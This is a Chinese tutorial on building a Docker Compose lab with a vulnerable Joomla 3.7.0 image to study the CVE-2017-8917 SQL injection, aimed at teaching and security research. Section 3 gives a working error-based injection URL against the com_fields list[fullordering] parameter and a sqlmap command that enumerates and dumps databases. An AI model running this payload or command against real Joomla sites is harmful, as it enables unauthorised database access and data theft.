用Docker Compose三分钟搭建Joomla漏洞实验环境：从零到实战的标准化方案

当安全研究员需要复现一个经典漏洞时，最耗时的往往不是漏洞利用本身，而是环境搭建这个"脏活累活"。传统的手动部署方式需要处理依赖冲突、版本匹配、服务配置等一系列琐碎问题，而Docker Compose提供的标准化方案能让这一切变得优雅简单。以Joomla 3.7.0 SQL注入漏洞(CVE-2017-8917)为例，我们将展示如何用容器化技术实现一键式环境部署，让学习者把精力集中在漏洞原理分析而非环境调试上。

1. 为什么选择Docker Compose方案

手动搭建漏洞实验环境存在几个典型痛点：

• 版本依赖噩梦：需要手动安装特定版本的PHP、MySQL、Apache等组件
• 环境隔离困难：多个实验环境容易产生端口或服务冲突
• 配置易出错：Web服务器配置、数据库连接等环节容易遗漏细节
• 复用性差：无法快速在不同机器上复制相同的实验环境

Docker Compose通过声明式配置解决了这些问题。我们来看一个对比：

评估维度	传统手动部署	Docker Compose方案
部署时间	30分钟以上	3分钟以内
环境一致性	依赖本地系统环境	完全隔离的标准化环境
配置复杂度	需手动修改多个配置文件	单一YAML文件定义所有服务
清理难度	需逐个卸载组件	一条命令彻底清除所有痕迹
教学适用性	学生环境差异导致问题各异	统一实验环境便于教学管理

2. 环境搭建全流程详解

2.1 准备工作

确保系统已安装Docker引擎和Docker Compose插件。验证安装：

docker --version
docker-compose --version

若未安装，可通过以下命令快速安装（Ubuntu示例）：

sudo apt-get update
sudo apt-get install docker.io docker-compose

提示：建议将当前用户加入docker组以避免频繁使用sudo：
sudo usermod -aG docker $USER
执行后需要重新登录生效

2.2 编写docker-compose.yml

创建项目目录并编写配置文件：

version: '3.8'
services:
  joomla:
    image: vulhub/joomla:3.7.0
    ports:
      - "8080:80"
    environment:
      - JOOMLA_DB_HOST=db
      - JOOMLA_DB_USER=joomla
      - JOOMLA_DB_PASSWORD=joomla
      - JOOMLA_DB_NAME=joomla
    depends_on:
      - db

  db:
    image: mysql:5.7
    environment:
      - MYSQL_ROOT_PASSWORD=root
      - MYSQL_DATABASE=joomla
      - MYSQL_USER=joomla
      - MYSQL_PASSWORD=joomla
    volumes:
      - mysql_data:/var/lib/mysql

volumes:
  mysql_data:

关键配置说明：

• services.joomla：使用vulhub官方维护的漏洞镜像
• ports：将容器80端口映射到主机8080端口
• environment：预设数据库连接参数避免安装向导
• volumes：持久化MySQL数据避免容器重启后丢失

2.3 启动与环境验证

在yml文件所在目录执行：

docker-compose up -d

等待镜像拉取和容器启动完成后，访问http://localhost:8080应看到Joomla安装完成的界面。如需停止环境：

docker-compose down

3. 漏洞验证与原理分析

环境就绪后，我们可以验证SQL注入漏洞的存在。这个漏洞源于Joomla的com_fields组件对list[fullordering]参数未做过滤，导致SQL注入。

3.1 基础漏洞验证

访问以下URL触发报错注入：

http://localhost:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

正常应返回包含数据库用户名的错误信息，证明注入点存在。

3.2 自动化利用示例

使用sqlmap进行自动化检测：

sqlmap -u "http://localhost:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=test" --risk=3 --level=5 --batch --dbs

常用参数说明：

• --dbs：枚举所有数据库
• --tables：枚举指定数据库的表
• --dump：导出表数据

4. 教学场景中的高级应用

4.1 多实例并行实验

修改docker-compose.yml的端口映射可创建多个独立环境：

services:
  joomla1:
    ports:
      - "8081:80"
  joomla2:
    ports:
      - "8082:80"

4.2 自定义漏洞变体

通过Dockerfile构建自定义镜像：

FROM vulhub/joomla:3.7.0
COPY custom-component/ /var/www/html/components/com_custom

然后在compose文件中引用：

services:
  joomla:
    build: .
    image: my-joomla-vuln

4.3 网络拓扑模拟

compose支持定义复杂网络：

networks:
  internal:
    driver: bridge
  external:
    driver: bridge

services:
  joomla:
    networks:
      - internal
      - external

这种隔离环境特别适合演示网络边界渗透场景。